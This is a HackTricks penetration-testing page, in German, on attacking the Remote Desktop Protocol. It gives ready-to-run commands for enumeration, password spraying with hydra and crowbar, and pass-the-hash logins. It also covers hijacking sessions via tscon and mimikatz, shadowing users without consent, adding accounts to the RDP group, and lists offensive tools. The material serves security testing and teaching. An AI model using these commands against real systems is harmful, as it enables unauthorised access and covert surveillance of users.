3389 - Pentesting RDP

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Grundlegende Informationen

Entwickelt von Microsoft ist das Remote Desktop Protocol (RDP) so konzipiert, eine grafische Benutzeroberflächenverbindung zwischen Computern über ein Netzwerk herzustellen. Um eine solche Verbindung aufzubauen, verwendet der Benutzer RDP-Client-Software, und der entfernte Computer muss gleichzeitig RDP-Server-Software ausführen. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers und bringt dessen Oberfläche praktisch auf das lokale Gerät des Benutzers.

Standardport: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatisch

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Es prüft die verfügbaren Verschlüsselungsoptionen und DoS-Anfälligkeit (ohne einen DoS gegen den Dienst auszulösen) und ermittelt NTLM Windows-Informationen (Versionen).

Sicherheitsschicht / NLA-Überprüfungen

RDP kann verschiedene Sicherheitsschichten aushandeln (native RDP, TLS oder CredSSP/NLA). Sie können schnell die serverseitigen Einstellungen fingerprinten und feststellen, ob NLA erforderlich ist:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Sei vorsichtig — du könntest Konten sperren

Password Spraying

Sei vorsichtig — du könntest Konten sperren

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Mit bekannten Anmeldedaten/Hash verbinden

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Bekannte credentials gegen RDP-Services prüfen

rdp_check.py von impacket ermöglicht es, zu prüfen, ob bestimmte credentials für einen RDP-Service gültig sind:

rdp_check <domain>/<name>:<password>@<IP>

Angriffe

Session stealing

Mit SYSTEM permissions können Sie auf jede geöffnete RDP-Session eines beliebigen Benutzers zugreifen, ohne das Passwort des Besitzers zu kennen.

Geöffnete Sessions abrufen:

query user

Zugriff auf die ausgewählte Sitzung

tscon <ID> /dest:<SESSIONNAME>

Nun befindest du dich in der ausgewählten RDP-Sitzung und wirst dich ausschließlich mit Windows-Tools und -Funktionen als ein Benutzer ausgeben.

Important: Wenn du auf eine aktive RDP-Sitzung zugreifst, wirst du den Benutzer, der sie gerade nutzt, abmelden.

Du könntest Passwörter durch process dumping aus Prozessen bekommen, aber diese Methode ist viel schneller und erlaubt dir, mit den virtual desktops des Benutzers zu interagieren (Passwörter in notepad, ohne auf der Festplatte gespeichert worden zu sein; andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind…)

Mimikatz

Du könntest auch mimikatz dafür verwenden:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Wenn Remote Desktop Services shadowing aktiviert ist, können Sie mit den eingebauten mstsc-Schaltern die aktive Sitzung eines anderen Benutzers ansehen oder steuern (manchmal ohne Zustimmung).

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP unterstützt virtual channels, die für pivoting/tunneling über eine etablierte RDP-Sitzung missbraucht werden können. Eine Option ist rdp2tcp (client/server), das TCP-Forwarding über RDP multiplexen kann (funktioniert mit FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Kombiniert man diese Technik mit stickykeys oder utilman, kannst du jederzeit auf eine administrative CMD und jede RDP session zugreifen.

Du kannst nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden, mit: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Wenn sich jemand aus einer anderen Domain oder mit höheren Privilegien via RDP einloggt auf dem PC, auf dem du Admin bist, kannst du dein beacon in seinen RDP session process inject und als er agieren:

RDP Sessions Abuse

Benutzer zur RDP-Gruppe hinzufügen

net localgroup "Remote Desktop Users" UserLoginName /add

Automatische Tools

AutoRDPwn ist ein post-exploitation Framework, erstellt in Powershell, das hauptsächlich dazu entwickelt wurde, den Shadow attack auf Microsoft Windows computers zu automatisieren. Diese Schwachstelle (von Microsoft als Feature gelistet) erlaubt einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung einzusehen und ihn auf Abruf zu steuern, wobei Werkzeuge verwendet werden, die nativ im Betriebssystem vorhanden sind.

  • EvilRDP

  • Maus und Tastatur automatisiert über die Kommandozeile steuern

  • Zwischenablage automatisiert über die Kommandozeile steuern

  • Einen SOCKS-Proxy vom Client aus starten, der Netzwerkverkehr über RDP zum Ziel kanalisiert

  • Beliebige SHELL- und PowerShell-Befehle auf dem Ziel ausführen, ohne Dateien hochzuladen

  • Dateien zum/vom Ziel hoch- und herunterladen, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind

  • SharpRDP

Dieses Tool ermöglicht das Ausführen von Befehlen in der RDP-Sitzung des Opfers, ohne eine grafische Oberfläche zu benötigen.

HackTricks Automatische Befehle

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks